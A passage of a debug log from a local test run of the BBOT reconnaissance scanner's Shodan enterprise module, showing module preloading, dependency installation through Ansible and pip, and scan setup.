bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:07:06,666 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:07:06,667 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:07:06,668 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:07:06,788 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_2ch2yp82dx completed in 0 seconds with status FINISHED -2026-02-27 22:07:06,789 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:07:06,790 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:07:06,791 [CRITICAL] bbot test_module_shodan_enterprise.py:68 Found 1 ASN events -2026-02-27 22:07:06,791 [HUGEINFO] bbot test_module_shodan_enterprise.py:74 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:11:15,462 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:11:15,464 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:11:15,476 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:11:15,478 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:11:15,480 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:11:15,481 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:11:15,484 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:11:15,485 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:11:15,487 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:11:15,488 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:11:15,490 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:11:15,491 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:11:15,493 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:11:15,494 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:11:15,495 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:11:15,496 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:11:15,497 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:11:15,499 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:11:15,500 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:11:15,501 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:11:15,504 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:11:15,505 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:11:15,507 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:11:15,508 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:11:15,509 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:11:15,510 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:11:15,511 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:11:15,512 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:11:15,514 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:11:15,515 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:11:15,516 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:11:15,517 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:11:15,520 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:11:15,522 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:11:15,523 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:11:15,525 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:11:15,526 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:11:15,528 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:11:15,530 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:11:15,532 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:11:15,537 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:11:15,538 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:11:15,540 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:11:15,541 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:11:15,543 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:11:15,544 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:11:15,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:11:15,547 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:11:15,549 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:11:15,550 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:11:15,551 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:11:15,553 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:11:15,555 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:11:15,561 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:11:15,563 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:11:15,564 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:11:15,565 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:11:15,575 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:11:15,576 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:11:15,578 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:11:15,579 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:11:15,580 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:11:15,581 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:11:15,596 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:11:15,599 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:11:15,602 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:11:15,605 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:11:15,607 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:11:15,609 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:11:15,611 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:11:15,614 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:11:15,616 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:11:15,622 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:11:15,623 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:11:15,626 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:11:15,628 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:11:15,631 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:11:15,634 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:11:15,637 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:11:15,639 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:11:15,641 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:11:15,643 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:11:15,644 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:11:15,647 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:11:15,650 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:11:15,654 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:11:15,656 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:11:15,657 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:11:15,659 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:11:15,672 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:11:15,674 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:11:15,676 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:11:15,677 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:11:15,681 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:11:15,683 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:11:15,686 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:11:15,687 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:11:15,689 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:11:15,690 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:11:15,693 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:11:15,695 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:11:15,697 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:11:15,699 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:11:15,702 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:11:15,704 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:11:15,706 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:11:15,708 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:11:15,710 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:11:15,711 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:11:15,713 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:11:15,715 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:11:15,718 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:11:15,721 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:11:15,722 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:11:15,724 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:11:15,725 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:11:15,728 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:11:15,730 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:11:15,733 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:11:15,736 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:11:15,738 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:11:15,739 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:11:15,740 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:11:15,742 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:11:15,743 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:11:15,745 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:11:15,746 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:11:15,749 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:11:15,751 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:11:15,753 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:11:15,755 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:11:15,756 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:11:15,757 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:11:15,758 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:11:15,759 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:11:15,760 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:11:15,761 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:11:15,762 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:11:15,764 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:11:15,765 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:11:15,766 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:11:15,768 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:11:15,770 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:11:15,771 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:11:15,772 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:11:15,774 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:11:15,775 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:11:15,776 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:11:15,777 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:11:15,779 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:11:15,780 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:11:15,783 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:11:15,785 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:11:15,787 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:11:15,788 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:11:15,789 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:11:15,791 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:11:15,792 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:11:15,793 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:11:15,794 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:11:15,795 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:11:15,796 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:11:15,797 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:11:15,799 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:11:15,800 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:11:15,802 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:11:15,803 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:11:15,804 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:11:15,805 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:11:15,806 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:11:16,028 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4547165056 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:11:16,028 [DEBUG] filelock _api.py:334 Lock 4547165056 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:11:16,030 [DEBUG] filelock _api.py:364 Attempting to release lock 4547165056 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:11:16,030 [DEBUG] filelock _api.py:367 Lock 4547165056 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:11:17,173 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:11:17,174 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:11:17,175 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:11:17,325 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:11:17,950 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:11:17,950 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:11:17,950 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:11:17,951 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:11:18,177 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:11:18,179 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:11:18,286 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:11:18,286 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:11:18,340 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:11:18,343 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:11:18,344 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:11:18,884 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:11:18,885 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:11:22,319 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:11:22,320 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:11:22,320 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:11:24,648 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:11:24,648 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:11:24,654 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:11:24,654 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:11:24,654 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:11:24,655 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:11:24,655 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:11:24,655 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:11:24,656 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:11:24,656 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:11:24,657 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:11:24,657 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:11:24,662 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/pb8m14ciovd4uop4dkpu -2026-02-27 22:11:25,823 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:11:25,824 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:11:25,826 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:11:25,971 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 22:11:25,971 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:11:25,972 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:11:25,974 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:11:25,975 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:11:25,975 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:11:25,975 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:11:25,977 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:11:25,978 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:11:25,978 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:11:25,979 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:11:25,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:11:25,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:11:25,980 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:11:25,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:11:25,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:11:25,980 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:11:25,981 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:11:25,981 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:11:25,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:11:25,983 [DEBUG] bbot.modules.output.python 